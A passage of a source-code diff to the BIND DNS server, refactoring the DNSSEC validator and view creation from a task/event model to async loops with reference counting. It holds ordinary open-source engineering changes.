+			val->type, val->name, name, rdataset, zonename, &exists,
+			&data, &optout, &unknown, setclosestp, &setnearest,
+			closestp, nearest, validator_log, val);
 		if (unknown) {
 			val->attributes |= VALATTR_FOUNDUNKNOWN;
 		}
@@ -2251,16 +2169,19 @@ findnsec3proofs(dns_validator_t *val) {
 			 * which proof.  Just populate them.
 			 */
 			if (NEEDNOQNAME(val) &&
-			    proofs[DNS_VALIDATOR_NOQNAMEPROOF] == NULL) {
+			    proofs[DNS_VALIDATOR_NOQNAMEPROOF] == NULL)
+			{
 				proofs[DNS_VALIDATOR_NOQNAMEPROOF] = name;
 			} else if (setclosest) {
 				proofs[DNS_VALIDATOR_CLOSESTENCLOSER] = name;
 			} else if (NEEDNODATA(val) &&
-				   proofs[DNS_VALIDATOR_NODATAPROOF] == NULL) {
+				   proofs[DNS_VALIDATOR_NODATAPROOF] == NULL)
+			{
 				proofs[DNS_VALIDATOR_NODATAPROOF] = name;
 			} else if (NEEDNOWILDCARD(val) &&
 				   proofs[DNS_VALIDATOR_NOWILDCARDPROOF] ==
-					   NULL) {
+					   NULL)
+			{
 				proofs[DNS_VALIDATOR_NOWILDCARDPROOF] = name;
 			}
 			return (result);
@@ -2346,9 +2267,9 @@ validate_neg_rrset(dns_validator_t *val, dns_name_t *name,
 	 * the first one is still in progress), and go into an
 	 * infinite loop.  Avoid that.
 	 */
-	if (val->event->type == dns_rdatatype_dnskey &&
+	if (val->type == dns_rdatatype_dnskey &&
 	    rdataset->type == dns_rdatatype_nsec &&
-	    dns_name_equal(name, val->event->name))
+	    dns_name_equal(name, val->name))
 	{
 		dns_rdata_t nsec = DNS_RDATA_INIT;
 
@@ -2362,7 +2283,7 @@ validate_neg_rrset(dns_validator_t *val, dns_name_t *name,
 		}
 	}
 
-	val->currentset = rdataset;
+	val->nxset = rdataset;
 	result = create_validator(val, name, rdataset->type, rdataset,
 				  sigrdataset, validator_callback_nsec,
 				  "validate_neg_rrset");
@@ -2380,7 +2301,7 @@ validate_neg_rrset(dns_validator_t *val, dns_name_t *name,
 static isc_result_t
 validate_authority(dns_validator_t *val, bool resume) {
 	dns_name_t *name;
-	dns_message_t *message = val->event->message;
+	dns_message_t *message = val->message;
 	isc_result_t result;
 
 	if (!resume) {
@@ -2397,15 +2318,16 @@ validate_authority(dns_validator_t *val, bool resume) {
 		name = NULL;
 		dns_message_currentname(message, DNS_SECTION_AUTHORITY, &name);
 		if (resume) {
-			rdataset = ISC_LIST_NEXT(val->currentset, link);
-			val->currentset = NULL;
+			rdataset = ISC_LIST_NEXT(val->nxset, link);
+			val->nxset = NULL;
 			resume = false;
 		} else {
 			rdataset = ISC_LIST_HEAD(name->list);
 		}
 
 		for (; rdataset != NULL;
-		     rdataset = ISC_LIST_NEXT(rdataset, link)) {
+		     rdataset = ISC_LIST_NEXT(rdataset, link))
+		{
 			if (rdataset->type == dns_rdatatype_rrsig) {
 				continue;
 			}
@@ -2443,13 +2365,13 @@ validate_ncache(dns_validator_t *val, bool resume) {
 	isc_result_t result;
 
 	if (!resume) {
-		result = dns_rdataset_first(val->event->rdataset);
+		result = dns_rdataset_first(val->rdataset);
 	} else {
-		result = dns_rdataset_next(val->event->rdataset);
+		result = dns_rdataset_next(val->rdataset);
 	}
 
 	for (; result == ISC_R_SUCCESS;
-	     result = dns_rdataset_next(val->event->rdataset))
+	     result = dns_rdataset_next(val->rdataset))
 	{
 		dns_rdataset_t *rdataset, *sigrdataset = NULL;
 
@@ -2457,13 +2379,13 @@ validate_ncache(dns_validator_t *val, bool resume) {
 
 		name = dns_fixedname_initname(&val->fname);
 		rdataset = &val->frdataset;
-		dns_ncache_current(val->event->rdataset, name, rdataset);
+		dns_ncache_current(val->rdataset, name, rdataset);
 
 		if (val->frdataset.type == dns_rdatatype_rrsig) {
 			continue;
 		}
 
-		result = dns_ncache_getsigrdataset(val->event->rdataset, name,
+		result = dns_ncache_getsigrdataset(val->rdataset, name,
 						   rdataset->type,
 						   &val->fsigrdataset);
 		if (result == ISC_R_SUCCESS) {
@@ -2505,7 +2427,7 @@ validate_nx(dns_validator_t *val, bool resume) {
 		validator_log(val, ISC_LOG_DEBUG(3), "resuming validate_nx");
 	}
 
-	if (val->event->message == NULL) {
+	if (val->message == NULL) {
 		result = validate_ncache(val, resume);
 	} else {
 		result = validate_authority(val, resume);
@@ -2534,7 +2456,7 @@ validate_nx(dns_validator_t *val, bool resume) {
 		{
 			validator_log(val, ISC_LOG_DEBUG(3),
 				      "marking as secure, noqname proof found");
-			marksecure(val->event);
+			marksecure(val);
 			return (ISC_R_SUCCESS);
 		} else if (FOUNDOPTOUT(val) &&
 			   dns_name_countlabels(
@@ -2542,7 +2464,7 @@ validate_nx(dns_validator_t *val, bool resume) {
 		{
 			validator_log(val, ISC_LOG_DEBUG(3),
 				      "optout proof found");
-			val->event->optout = true;
+			val->optout = true;
 			markanswer(val, "validate_nx (1)", NULL);
 			return (ISC_R_SUCCESS);
 		} else if ((val->attributes & VALATTR_FOUNDUNKNOWN) != 0) {
@@ -2583,14 +2505,14 @@ validate_nx(dns_validator_t *val, bool resume) {
 	     FOUNDNOWILDCARD(val) && FOUNDCLOSEST(val)))
 	{
 		if ((val->attributes & VALATTR_FOUNDOPTOUT) != 0) {
-			val->event->optout = true;
+			val->optout = true;
 		}
 		validator_log(val, ISC_LOG_DEBUG(3),
 			      "nonexistence proof(s) found");
-		if (val->event->message == NULL) {
-			marksecure(val->event);
+		if (val->message == NULL) {
+			marksecure(val);
 		} else {
-			val->event->secure = true;
+			val->secure = true;
 		}
 		return (ISC_R_SUCCESS);
 	}
@@ -2635,7 +2557,7 @@ check_ds_algs(dns_validator_t *val, dns_name_t *name,
 }
 
 /*%
- * seek_ds is called to look up DS rrsets at the label of val->event->name
+ * seek_ds is called to look up DS rrsets at the label of val->name
  * indicated by val->labels. This is done while building an insecurity
  * proof, and so it will attempt validation of NXDOMAIN, NXRRSET or CNAME
  * responses.
@@ -2656,10 +2578,10 @@ seek_ds(dns_validator_t *val, isc_result_t *resp) {
 	dns_name_t *found = dns_fixedname_initname(&fixedfound);
 	dns_name_t *tname = dns_fixedname_initname(&val->fname);
 
-	if (val->labels == dns_name_countlabels(val->event->name)) {
-		dns_name_copy(val->event->name, tname);
+	if (val->labels == dns_name_countlabels(val->name)) {
+		dns_name_copy(val->name, tname);
 	} else {
-		dns_name_split(val->event->name, val->labels, NULL, tname);
+		dns_name_split(val->name, val->labels, NULL, tname);
 	}
 
 	dns_name_format(tname, namebuf, sizeof(namebuf));
@@ -2871,9 +2793,9 @@ seek_ds(dns_validator_t *val, isc_result_t *resp) {
  * no such endpoint is found, then the response should have been secure.
  *
  * Returns:
- * \li	ISC_R_SUCCESS		val->event->name is in an unsecure zone
+ * \li	ISC_R_SUCCESS		val->name is in an unsecure zone
  * \li	DNS_R_WAIT		validation is in progress.
- * \li	DNS_R_MUSTBESECURE	val->event->name is supposed to be secure
+ * \li	DNS_R_MUSTBESECURE	val->name is supposed to be secure
  *				(policy) but we proved that it is unsecure.
  * \li	DNS_R_NOVALIDSIG
  * \li	DNS_R_NOVALIDNSEC
@@ -2893,14 +2815,14 @@ proveunsecure(dns_validator_t *val, bool have_ds, bool resume) {
 	 */
 	val->attributes |= VALATTR_INSECURITY;
 
-	dns_name_copy(val->event->name, secroot);
+	dns_name_copy(val->name, secroot);
 
 	/*
 	 * If this is a response to a DS query, we need to look in
 	 * the parent zone for the trust anchor.
 	 */
 	labels = dns_name_countlabels(secroot);
-	if (val->event->type == dns_rdatatype_ds && labels > 1U) {
+	if (val->type == dns_rdatatype_ds && labels > 1U) {
 		dns_name_getlabelsequence(secroot, 1, labels - 1, secroot);
 	}
 
@@ -2947,7 +2869,7 @@ proveunsecure(dns_validator_t *val, bool have_ds, bool resume) {
 	 * Walk down through each of the remaining labels in the name,
 	 * looking for DS records.
 	 */
-	while (val->labels <= dns_name_countlabels(val->event->name)) {
+	while (val->labels <= dns_name_countlabels(val->name)) {
 		isc_result_t tresult;
 
 		result = seek_ds(val, &tresult);
@@ -2985,27 +2907,17 @@ proveunsecure(dns_validator_t *val, bool have_ds, bool resume) {
  * be an unsecure positive answer.
  */
 static void
-validator_start(isc_task_t *task, isc_event_t *event) {
-	dns_validator_t *val;
-	dns_validatorevent_t *vevent;
-	bool want_destroy = false;
+validator_start(void *arg) {
+	dns_validator_t *val = (dns_validator_t *)arg;
 	isc_result_t result = ISC_R_FAILURE;
 
-	UNUSED(task);
-	REQUIRE(event->ev_type == DNS_EVENT_VALIDATORSTART);
-	vevent = (dns_validatorevent_t *)event;
-	val = vevent->validator;
-
-	/* If the validator has been canceled, val->event == NULL */
-	if (val->event == NULL) {
+	if (CANCELED(val)) {
 		return;
 	}
 
 	validator_log(val, ISC_LOG_DEBUG(3), "starting");
 
-	LOCK(&val->lock);
-
-	if (val->event->rdataset != NULL && val->event->sigrdataset != NULL) {
+	if (val->rdataset != NULL && val->sigrdataset != NULL) {
 		isc_result_t saved_result;
 
 		/*
@@ -3015,15 +2927,16 @@ validator_start(isc_task_t *task, isc_event_t *event) {
 		validator_log(val, ISC_LOG_DEBUG(3),
 			      "attempting positive response validation");
 
-		INSIST(dns_rdataset_isassociated(val->event->rdataset));
-		INSIST(dns_rdataset_isassociated(val->event->sigrdataset));
+		INSIST(dns_rdataset_isassociated(val->rdataset));
+		INSIST(dns_rdataset_isassociated(val->sigrdataset));
 		if (selfsigned_dnskey(val)) {
 			result = validate_dnskey(val);
 		} else {
 			result = validate_answer(val, false);
 		}
 		if (result == DNS_R_NOVALIDSIG &&
-		    (val->attributes & VALATTR_TRIEDVERIFY) == 0) {
+		    (val->attributes & VALATTR_TRIEDVERIFY) == 0)
+		{
 			saved_result = result;
 			validator_log(val, ISC_LOG_DEBUG(3),
 				      "falling back to insecurity proof");
@@ -3032,13 +2945,12 @@ validator_start(isc_task_t *task, isc_event_t *event) {
 				result = saved_result;
 			}
 		}
-	} else if (val->event->rdataset != NULL &&
-		   val->event->rdataset->type != 0) {
+	} else if (val->rdataset != NULL && val->rdataset->type != 0) {
 		/*
 		 * This is either an unsecure subdomain or a response
 		 * from a broken server.
 		 */
-		INSIST(dns_rdataset_isassociated(val->event->rdataset));
+		INSIST(dns_rdataset_isassociated(val->rdataset));
 		validator_log(val, ISC_LOG_DEBUG(3),
 			      "attempting insecurity proof");
 
@@ -3048,8 +2960,7 @@ validator_start(isc_task_t *task, isc_event_t *event) {
 				      "got insecure response; "
 				      "parent indicates it should be secure");
 		}
-	} else if ((val->event->rdataset == NULL &&
-		    val->event->sigrdataset == NULL)) {
+	} else if ((val->rdataset == NULL && val->sigrdataset == NULL)) {
 		/*
 		 * This is a validation of a negative response.
 		 */
@@ -3057,7 +2968,7 @@ validator_start(isc_task_t *task, isc_event_t *event) {
 			      "attempting negative response validation "
 			      "from message");
 
-		if (val->event->message->rcode == dns_rcode_nxdomain) {
+		if (val->message->rcode == dns_rcode_nxdomain) {
 			val->attributes |= VALATTR_NEEDNOQNAME;
 			val->attributes |= VALATTR_NEEDNOWILDCARD;
 		} else {
@@ -3065,8 +2976,7 @@ validator_start(isc_task_t *task, isc_event_t *event) {
 		}
 
 		result = validate_nx(val, false);
-	} else if ((val->event->rdataset != NULL &&
-		    NEGATIVE(val->event->rdataset))) {
+	} else if ((val->rdataset != NULL && NEGATIVE(val->rdataset))) {
 		/*
 		 * This is a delayed validation of a negative cache entry.
 		 */
@@ -3074,7 +2984,7 @@ validator_start(isc_task_t *task, isc_event_t *event) {
 			      "attempting negative response validation "
 			      "from cache");
 
-		if (NXDOMAIN(val->event->rdataset)) {
+		if (NXDOMAIN(val->rdataset)) {
 			val->attributes |= VALATTR_NEEDNOQNAME;
 			val->attributes |= VALATTR_NEEDNOWILDCARD;
 		} else {
@@ -3083,65 +2993,54 @@ validator_start(isc_task_t *task, isc_event_t *event) {
 
 		result = validate_nx(val, false);
 	} else {
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	if (result != DNS_R_WAIT) {
-		want_destroy = exit_check(val);
 		validator_done(val, result);
 	}
 
-	UNLOCK(&val->lock);
-	if (want_destroy) {
-		destroy(val);
-	}
+	dns_validator_detach(&val);
 }
 
 isc_result_t
 dns_validator_create(dns_view_t *view, dns_name_t *name, dns_rdatatype_t type,
 		     dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset,
 		     dns_message_t *message, unsigned int options,
-		     isc_task_t *task, isc_taskaction_t action, void *arg,
+		     isc_loop_t *loop, isc_job_cb cb, void *arg,
 		     dns_validator_t **validatorp) {
 	isc_result_t result = ISC_R_FAILURE;
-	dns_validator_t *val;
-	isc_task_t *tclone = NULL;
-	dns_validatorevent_t *event;
+	dns_validator_t *val = NULL;
+	dns_keytable_t *kt = NULL;
 
 	REQUIRE(name != NULL);
 	REQUIRE(rdataset != NULL ||
 		(rdataset == NULL && sigrdataset == NULL && message != NULL));
 	REQUIRE(validatorp != NULL && *validatorp == NULL);
 
-	event = (dns_validatorevent_t *)isc_event_allocate(
-		view->mctx, task, DNS_EVENT_VALIDATORSTART, validator_start,
-		NULL, sizeof(dns_validatorevent_t));
-
-	isc_task_attach(task, &tclone);
-	event->result = ISC_R_FAILURE;
-	event->name = name;
-	event->type = type;
-	event->rdataset = rdataset;
-	event->sigrdataset = sigrdataset;
-	event->message = message;
-	memset(event->proofs, 0, sizeof(event->proofs));
-	event->optout = false;
-	event->secure = false;
+	result = dns_view_getsecroots(view, &kt);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
 
 	val = isc_mem_get(view->mctx, sizeof(*val));
-	*val = (dns_validator_t){ .event = event,
+	*val = (dns_validator_t){ .tid = isc_tid(),
+				  .result = ISC_R_FAILURE,
+				  .rdataset = rdataset,
+				  .sigrdataset = sigrdataset,
+				  .name = name,
+				  .type = type,
 				  .options = options,
-				  .task = task,
-				  .action = action,
+				  .keytable = kt,
+				  .link = ISC_LINK_INITIALIZER,
+				  .loop = loop,
+				  .cb = cb,
 				  .arg = arg };
 
-	dns_view_weakattach(view, &val->view);
-	isc_mutex_init(&val->lock);
-
-	result = dns_view_getsecroots(val->view, &val->keytable);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
+	isc_refcount_init(&val->references, 1);
+	dns_view_attach(view, &val->view);
+	if (message != NULL) {
+		dns_message_attach(message, &val->message);
 	}
 
 	val->mustbesecure = dns_resolver_getmustbesecure(view->resolver, name);
@@ -3150,88 +3049,60 @@ dns_validator_create(dns_view_t *view, dns_name_t *name, dns_rdatatype_t type,
 	dns_rdataset_init(&val->fsigrdataset);
 	dns_fixedname_init(&val->wild);
 	dns_fixedname_init(&val->closest);
-	isc_stdtime_get(&val->start);
-	ISC_LINK_INIT(val, link);
+	val->start = isc_stdtime_now();
 	val->magic = VALIDATOR_MAGIC;
 
-	event->validator = val;
-
 	if ((options & DNS_VALIDATOR_DEFER) == 0) {
-		isc_task_send(task, ISC_EVENT_PTR(&event));
+		dns_validator_ref(val);
+		isc_async_run(val->loop, validator_start, val);
 	}
 
 	*validatorp = val;
 
 	return (ISC_R_SUCCESS);
-
-cleanup:
-	isc_mutex_destroy(&val->lock);
-
-	isc_task_detach(&tclone);
-	isc_event_free(ISC_EVENT_PTR(&event));
-
-	dns_view_weakdetach(&val->view);
-	isc_mem_put(view->mctx, val, sizeof(*val));
-
-	return (result);
 }
 
 void
 dns_validator_send(dns_validator_t *validator) {
-	isc_event_t *event;
 	REQUIRE(VALID_VALIDATOR(validator));
-
-	LOCK(&validator->lock);
+	REQUIRE(validator->tid == isc_tid());
 
 	INSIST((validator->options & DNS_VALIDATOR_DEFER) != 0);
-	event = (isc_event_t *)validator->event;
 	validator->options &= ~DNS_VALIDATOR_DEFER;
-	UNLOCK(&validator->lock);
 
-	isc_task_send(validator->task, ISC_EVENT_PTR(&event));
+	dns_validator_ref(validator);
+	isc_async_run(validator->loop, validator_start, validator);
 }
 
 void
 dns_validator_cancel(dns_validator_t *validator) {
-	dns_fetch_t *fetch = NULL;
-
 	REQUIRE(VALID_VALIDATOR(validator));
-
-	LOCK(&validator->lock);
+	REQUIRE(validator->tid == isc_tid());
 
 	validator_log(validator, ISC_LOG_DEBUG(3), "dns_validator_cancel");
 
-	if ((validator->attributes & VALATTR_CANCELED) == 0) {
-		validator->attributes |= VALATTR_CANCELED;
-		if (validator->event != NULL) {
-			fetch = validator->fetch;
-			validator->fetch = NULL;
-
-			if (validator->subvalidator != NULL) {
-				dns_validator_cancel(validator->subvalidator);
-			}
-			if ((validator->options & DNS_VALIDATOR_DEFER) != 0) {
-				validator->options &= ~DNS_VALIDATOR_DEFER;
-				validator_done(validator, ISC_R_CANCELED);
-			}
+	if (!CANCELED(validator)) {
+		if (validator->fetch != NULL) {
+			dns_resolver_cancelfetch(validator->fetch);
+		}
+		if (validator->subvalidator != NULL) {
+			dns_validator_cancel(validator->subvalidator);
+		}
+		if (!COMPLETE(validator)) {
+			validator->options &= ~DNS_VALIDATOR_DEFER;
+			validator_done(validator, ISC_R_CANCELED);
 		}
-	}
-	UNLOCK(&validator->lock);
 
-	/* Need to cancel and destroy the fetch outside validator lock */
-	if (fetch != NULL) {
-		dns_resolver_cancelfetch(fetch);
-		dns_resolver_destroyfetch(&fetch);
+		validator->attributes |= VALATTR_CANCELED;
 	}
 }
 
 static void
-destroy(dns_validator_t *val) {
-	isc_mem_t *mctx;
+destroy_validator(dns_validator_t *val) {
+	isc_mem_t *mctx = NULL;
 
-	REQUIRE(SHUTDOWN(val));
-	REQUIRE(val->event == NULL);
 	REQUIRE(val->fetch == NULL);
+	REQUIRE(val->subvalidator == NULL);
 
 	val->magic = 0;
 	if (val->key != NULL) {
@@ -3248,31 +3119,28 @@ destroy(dns_validator_t *val) {
 	if (val->siginfo != NULL) {
 		isc_mem_put(mctx, val->siginfo, sizeof(*val->siginfo));
 	}
-	isc_mutex_destroy(&val->lock);
-	dns_view_weakdetach(&val->view);
+	dns_view_detach(&val->view);
+	if (val->message != NULL) {
+		dns_message_detach(&val->message);
+	}
 	isc_mem_put(mctx, val, sizeof(*val));
 }
 
 void
 dns_validator_destroy(dns_validator_t **validatorp) {
-	dns_validator_t *val;
-	bool want_destroy = false;
+	dns_validator_t *val = NULL;
 
 	REQUIRE(validatorp != NULL);
+
 	val = *validatorp;
 	*validatorp = NULL;
-	REQUIRE(VALID_VALIDATOR(val));
 
-	LOCK(&val->lock);
+	REQUIRE(VALID_VALIDATOR(val));
+	REQUIRE(val->tid == isc_tid());
 
-	val->attributes |= VALATTR_SHUTDOWN;
 	validator_log(val, ISC_LOG_DEBUG(4), "dns_validator_destroy");
 
-	want_destroy = exit_check(val);
-	UNLOCK(&val->lock);
-	if (want_destroy) {
-		destroy(val);
-	}
+	dns_validator_detach(&val);
 }
 
 static void
@@ -3308,13 +3176,12 @@ validator_logv(dns_validator_t *val, isc_logcategory_t *category,
 		sep2 = ": ";
 	}
 
-	if (val->event != NULL && val->event->name != NULL) {
+	if (val->name != NULL) {
 		char namebuf[DNS_NAME_FORMATSIZE];
 		char typebuf[DNS_RDATATYPE_FORMATSIZE];
 
-		dns_name_format(val->event->name, namebuf, sizeof(namebuf));
-		dns_rdatatype_format(val->event->type, typebuf,
-				     sizeof(typebuf));
+		dns_name_format(val->name, namebuf, sizeof(namebuf));
+		dns_rdatatype_format(val->type, typebuf, sizeof(typebuf));
 		isc_log_write(dns_lctx, category, module, level,
 			      "%s%s%s%.*svalidating %s/%s: %s", sep1, viewname,
 			      sep2, depth, spaces, namebuf, typebuf, msgbuf);
@@ -3352,3 +3219,9 @@ validator_logcreate(dns_validator_t *val, dns_name_t *name,
 	validator_log(val, ISC_LOG_DEBUG(9), "%s: creating %s for %s %s",
 		      caller, operation, namestr, typestr);
 }
+
+#if DNS_VALIDATOR_TRACE
+ISC_REFCOUNT_TRACE_IMPL(dns_validator, destroy_validator);
+#else
+ISC_REFCOUNT_IMPL(dns_validator, destroy_validator);
+#endif
diff --git a/lib/dns/view.c b/lib/dns/view.c
index dacb875a53..6855d02eda 100644
--- a/lib/dns/view.c
+++ b/lib/dns/view.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -20,13 +22,15 @@
 #endif /* ifdef HAVE_LMDB */
 
 #include <isc/atomic.h>
+#include <isc/dir.h>
 #include <isc/file.h>
 #include <isc/hash.h>
 #include <isc/lex.h>
-#include <isc/print.h>
+#include <isc/md.h>
+#include <isc/result.h>
 #include <isc/stats.h>
-#include <isc/string.h> /* Required for HP/UX (and others?) */
-#include <isc/task.h>
+#include <isc/string.h>
+#include <isc/urcu.h>
 #include <isc/util.h>
 
 #include <dns/acl.h>
@@ -38,12 +42,12 @@
 #include <dns/dlz.h>
 #include <dns/dns64.h>
 #include <dns/dnssec.h>
-#include <dns/events.h>
 #include <dns/forward.h>
 #include <dns/keytable.h>
 #include <dns/keyvalues.h>
 #include <dns/master.h>
 #include <dns/masterdump.h>
+#include <dns/nametree.h>
 #include <dns/nta.h>
 #include <dns/order.h>
 #include <dns/peer.h>
@@ -51,13 +55,13 @@
 #include <dns/rdataset.h>
 #include <dns/request.h>
 #include <dns/resolver.h>
-#include <dns/result.h>
 #include <dns/rpz.h>
 #include <dns/rrl.h>
 #include <dns/stats.h>
 #include <dns/time.h>
 #include <dns/transport.h>
 #include <dns/tsig.h>
+#include <dns/view.h>
 #include <dns/zone.h>
 #include <dns/zt.h>
 
@@ -68,199 +72,78 @@
 			goto cleanup;        \
 	} while (0)
 
-#define RESSHUTDOWN(v) \
-	((atomic_load(&(v)->attributes) & DNS_VIEWATTR_RESSHUTDOWN) != 0)
-#define ADBSHUTDOWN(v) \
-	((atomic_load(&(v)->attributes) & DNS_VIEWATTR_ADBSHUTDOWN) != 0)
-#define REQSHUTDOWN(v) \
-	((atomic_load(&(v)->attributes) & DNS_VIEWATTR_REQSHUTDOWN) != 0)
-
-#define DNS_VIEW_DELONLYHASH   111
-#define DNS_VIEW_FAILCACHESIZE 1021
+#define DNS_VIEW_DELONLYHASH 111
 
-static void
-resolver_shutdown(isc_task_t *task, isc_event_t *event);
-static void
-adb_shutdown(isc_task_t *task, isc_event_t *event);
-static void
-req_shutdown(isc_task_t *task, isc_event_t *event);
+/*%
+ * Default EDNS0 buffer size
+ */
+#define DEFAULT_EDNS_BUFSIZE 1232
 
 isc_result_t
-dns_view_create(isc_mem_t *mctx, dns_rdataclass_t rdclass, const char *name,
+dns_view_create(isc_mem_t *mctx, dns_dispatchmgr_t *dispatchmgr,
+		dns_rdataclass_t rdclass, const char *name,
 		dns_view_t **viewp) {
-	dns_view_t *view;
+	dns_view_t *view = NULL;
 	isc_result_t result;
 	char buffer[1024];
 
-	/*
-	 * Create a view.
-	 */
-
 	REQUIRE(name != NULL);
 	REQUIRE(viewp != NULL && *viewp == NULL);
 
-	view = isc_mem_get(mctx, sizeof(*view));
-
-	view->nta_file = NULL;
-	view->mctx = NULL;
-	isc_mem_attach(mctx, &view->mctx);
-	view->name = isc_mem_strdup(mctx, name);
-
-	result = isc_file_sanitize(NULL, view->name, "nta", buffer,
-				   sizeof(buffer));
+	result = isc_file_sanitize(NULL, name, "nta", buffer, sizeof(buffer));
 	if (result != ISC_R_SUCCESS) {
-		goto cleanup_name;
+		return (result);
 	}
-	view->nta_file = isc_mem_strdup(mctx, buffer);
 
-	isc_mutex_init(&view->lock);
+	view = isc_mem_get(mctx, sizeof(*view));
+	*view = (dns_view_t){
+		.rdclass = rdclass,
+		.name = isc_mem_strdup(mctx, name),
+		.nta_file = isc_mem_strdup(mctx, buffer),
+		.recursion = true,
+		.enablevalidation = true,
+		.minimalresponses = dns_minimal_no,
+		.transfer_format = dns_one_answer,
+		.msgcompression = true,
+		.provideixfr = true,
+		.maxcachettl = 7 * 24 * 3600,
+		.maxncachettl = 3 * 3600,
+		.dstport = 53,
+		.staleanswerttl = 1,
+		.staleanswersok = dns_stale_answer_conf,
+		.sendcookie = true,
+		.synthfromdnssec = true,
+		.trust_anchor_telemetry = true,
+		.root_key_sentinel = true,
+		.udpsize = DEFAULT_EDNS_BUFSIZE,
+	};
 
-	view->zonetable = NULL;
-	result = dns_zt_create(mctx, rdclass, &view->zonetable);
-	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "dns_zt_create() failed: %s",
-				 isc_result_totext(result));
-		result = ISC_R_UNEXPECTED;
-		goto cleanup_mutex;
-	}
+	isc_refcount_init(&view->references, 1);
+	isc_refcount_init(&view->weakrefs, 1);
 
-	view->secroots_priv = NULL;
-	view->ntatable_priv = NULL;
-	view->fwdtable = NULL;
-	result = dns_fwdtable_create(mctx, &view->fwdtable);
-	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "dns_fwdtable_create() failed: %s",
-				 isc_result_totext(result));
-		result = ISC_R_UNEXPECTED;
-		goto cleanup_zt;
-	}
+	dns_fixedname_init(&view->redirectfixed);
 
-	view->cache = NULL;
-	view->cachedb = NULL;
 	ISC_LIST_INIT(view->dlz_searched);
 	ISC_LIST_INIT(view->dlz_unsearched);
-	view->hints = NULL;
-	view->resolver = NULL;
-	view->adb = NULL;
-	view->requestmgr = NULL;
-	view->rdclass = rdclass;
-	view->frozen = false;
-	view->task = NULL;
-	isc_refcount_init(&view->references, 1);
-	isc_refcount_init(&view->weakrefs, 1);
-	atomic_init(&view->attributes,
-		    (DNS_VIEWATTR_RESSHUTDOWN | DNS_VIEWATTR_ADBSHUTDOWN |
-		     DNS_VIEWATTR_REQSHUTDOWN));
-	view->transports = NULL;
-	view->statickeys = NULL;
-	view->dynamickeys = NULL;
-	view->matchclients = NULL;
-	view->matchdestinations = NULL;
-	view->matchrecursiveonly = false;
-	result = dns_tsigkeyring_create(view->mctx, &view->dynamickeys);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_weakrefs;
-	}
-	view->peers = NULL;
-	view->order = NULL;
-	view->delonly = NULL;
-	view->rootdelonly = false;
-	view->rootexclude = NULL;
-	view->adbstats = NULL;
-	view->resstats = NULL;
-	view->resquerystats = NULL;
-	view->cacheshared = false;
 	ISC_LIST_INIT(view->dns64);
-	view->dns64cnt = 0;
 
-	/*
-	 * Initialize configuration data with default values.
-	 */
-	view->recursion = true;
-	view->qminimization = false;
-	view->qmin_strict = false;
-	view->auth_nxdomain = false; /* Was true in BIND 8 */
-	view->enablevalidation = true;
-	view->acceptexpired = false;
-	view->use_glue_cache = false;
-	view->minimal_any = false;
-	view->minimalresponses = dns_minimal_no;
-	view->transfer_format = dns_one_answer;
-	view->cacheacl = NULL;
-	view->cacheonacl = NULL;
-	view->checknames = false;
-	view->queryacl = NULL;
-	view->queryonacl = NULL;
-	view->recursionacl = NULL;
-	view->recursiononacl = NULL;
-	view->sortlist = NULL;
-	view->transferacl = NULL;
-	view->notifyacl = NULL;
-	view->updateacl = NULL;
-	view->upfwdacl = NULL;
-	view->denyansweracl = NULL;
-	view->nocasecompress = NULL;
-	view->msgcompression = true;
-	view->answeracl_exclude = NULL;
-	view->denyanswernames = NULL;
-	view->answernames_exclude = NULL;
-	view->rrl = NULL;
-	view->provideixfr = true;
-	view->maxcachettl = 7 * 24 * 3600;
-	view->maxncachettl = 3 * 3600;
-	view->mincachettl = 0;
-	view->minncachettl = 0;
-	view->nta_lifetime = 0;
-	view->nta_recheck = 0;
-	view->prefetch_eligible = 0;
-	view->prefetch_trigger = 0;
-	view->dstport = 53;
-	view->preferred_glue = 0;
-	view->flush = false;
-	view->maxudp = 0;
-	view->staleanswerttl = 1;
-	view->staleanswersok = dns_stale_answer_conf;
-	view->staleanswersenable = false;
-	view->nocookieudp = 0;
-	view->padding = 0;
-	view->pad_acl = NULL;
-	view->maxbits = 0;
-	view->rpzs = NULL;
-	view->catzs = NULL;
-	view->managed_keys = NULL;
-	view->redirect = NULL;
-	view->redirectzone = NULL;
-	dns_fixedname_init(&view->redirectfixed);
-	view->requestnsid = false;
-	view->sendcookie = true;
-	view->requireservercookie = false;
-	view->synthfromdnssec = true;
-	view->trust_anchor_telemetry = true;
-	view->root_key_sentinel = true;
-	view->new_zone_dir = NULL;
-	view->new_zone_file = NULL;
-	view->new_zone_db = NULL;
-	view->new_zone_dbenv = NULL;
-	view->new_zone_mapsize = 0ULL;
-	view->new_zone_config = NULL;
-	view->cfg_destroy = NULL;
-	view->fail_ttl = 0;
-	view->failcache = NULL;
-	result = dns_badcache_init(view->mctx, DNS_VIEW_FAILCACHESIZE,
-				   &view->failcache);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_dynkeys;
+	ISC_LINK_INIT(view, link);
+
+	isc_mem_attach(mctx, &view->mctx);
+
+	if (dispatchmgr != NULL) {
+		dns_dispatchmgr_attach(dispatchmgr, &view->dispatchmgr);
 	}
-	view->v6bias = 0;
-	view->dtenv = NULL;
-	view->dttypes = 0;
 
-	view->plugins = NULL;
-	view->plugins_free = NULL;
-	view->hooktable = NULL;
-	view->hooktable_free = NULL;
+	isc_mutex_init(&view->lock);
+
+	dns_zt_create(mctx, view, &view->zonetable);
+
+	dns_fwdtable_create(mctx, view, &view->fwdtable);
+
+	dns_tsigkeyring_create(view->mctx, &view->dynamickeys);
+
+	view->failcache = dns_badcache_new(view->mctx);
 
 	isc_mutex_init(&view->new_zone_lock);
 
@@ -279,19 +162,9 @@ dns_view_create(isc_mem_t *mctx, dns_rdataclass_t rdclass, const char *name,
